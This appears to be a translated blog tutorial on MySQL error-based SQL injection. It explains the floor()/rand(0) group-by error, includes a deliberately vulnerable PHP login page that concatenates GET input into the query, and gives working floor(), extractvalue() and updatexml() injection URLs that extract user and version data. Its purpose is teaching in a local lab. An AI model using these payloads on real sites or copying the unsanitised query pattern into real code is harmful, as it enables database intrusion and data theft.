SQL injection - error injection

0x00 background

  SQL injection has been at the top of the OWASP TOP10 list for a long time, and has a great impact on web security. Hackers often make judgments based on error echoes during the injection process, but now many web programs do not have normal error echoes, so we need to use Error injection is used to perform SQL injection. This article will explain the generation principle and use cases of error injection.

0x01 Ten kinds of error injection

  These ten methods will not be discussed here, and the details can be found at https://www.cnblogs.com/wocalieshenmegui/p/5917967.html. The three most commonly used error injection methods are: floor(), updatexml(), extractvalue().

0x02 The principle of error injection

  In order to understand the principle of error injection, first create a database named sqli, and then create a table to insert data:

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

  

  Let's first look at an error-reporting SQL statement based on floor():

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

  If it is the first time to contact error injection, there are usually several problems.

  Q1. What is the floor() function?

  The function of the A1.floor function is to return the largest integer less than or equal to the value, which can also be understood as rounding down and only retaining the integer part.

  What does Q2.rand(0) mean?

  A2. The rand() function can be used to generate 0 or 1, but there is still an essential difference between rand(0) and rand(). rand(0) is equivalent to passing a parameter to the rand() function, and then the rand() function Random number generation will be performed according to the parameter of 0. The numbers generated by rand() are completely random, while rand(0) is regularly generated, we can try it in the database. First test rand()

  

  Let's test the effect of rand(0) again

  

  Obviously rand(0) is pseudo-random and there are rules to follow, which is why we use rand(0) for error injection. rand(0) is stable, so every injection will report an error, and rand() will Need luck, our test results are as follows

  

  Q3. Why is there an error message?

  A3. Let's look at the content of the error: Duplicate entry '15.5.53' for key 'group_key'. Meaning that group_key entries are duplicated. When we use group by for group query, the database will generate a virtual table

  

  In this virtual table, the field after group by is used as the primary key, so the primary key in this table is name, so we can basically understand the reason for the error, which is mainly because the primary key of the virtual table is repeated. According to MySQL's official statement, group by needs to perform two operations. The first time is to take the field value after group by to the virtual table for comparison, first obtain the value after group by; the second time is to assume the value after group by If the value of the field does not exist in the virtual table, it needs to be inserted into the virtual table. Here, the second operation will be performed when inserting. Due to the randomness of the rand function, the result of the second operation may be the same as The result of the first operation is inconsistent, but the result of this operation may already exist in the virtual table, then the insertion at this time will inevitably lead to the duplication of the primary key, which will cause an error.

0x03 case

  //The following case code is copied

  The database can continue to use the previous database, we create sqli.php in the web root directory

 1 <?php
 2 $conn = mysql_connect("localhost", "root", "123456"); // 连接数据库,账号root,密码root
 3 if (!$conn) {
 4     die("Connection failed: " . mysql_error());
 5 }
 6 
 7 mysql_select_db("sqli", $conn);
 8 
 9 // verify login info
10 if (isset($_GET['name']) && isset($_GET['pass'])) {
11     $name = $_GET['name'];
12     $pass = md5($_GET['pass']);
13 
14     $query = "select * from user where name='$name' and pass='$pass'";
15 
16     if ($result = mysql_query($query, $conn)) {
17         $row = mysql_fetch_array($result, MYSQL_ASSOC);
18 
19         if ($row) {
20             echo "<script>alert('login successful!');</script>";
21         }
22     } else {
23         die("Operation error: " . mysql_error());
24     }
25 }
26 
27 mysql_close();
28 ?>
29 
30 <!DOCTYPE html>
31 <html>
32 <head>
33     <title>Login</title>
34 </head>
35 <body>
36 <center>
37     <form method="get" action="">
38         <label>Username:</label><input type="text" name="name" value=""/><br/>
39         <label>Password:</label><input type="password" name="pass" value=""/><br/>
40         <input type="submit" value="login"/>
41     </form>
42 </center>
43 </body>
44 </html>

  Lines 11-14 of the code are the login verification module. You can see that the program obtains the name and pass parameters in the form of GET, and directly brings them into the query statement without any filtering. There is an obvious SQL injection vulnerability here. We use floor() Error injection to try.

http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123

  Let's use updatexml() and extractvalue() to try separately (the principles are different, but the idea is that the construction of the database is wrong)

http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1

http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1

Guess you like

Origin blog.csdn.net/Forget_liu/article/details/131146695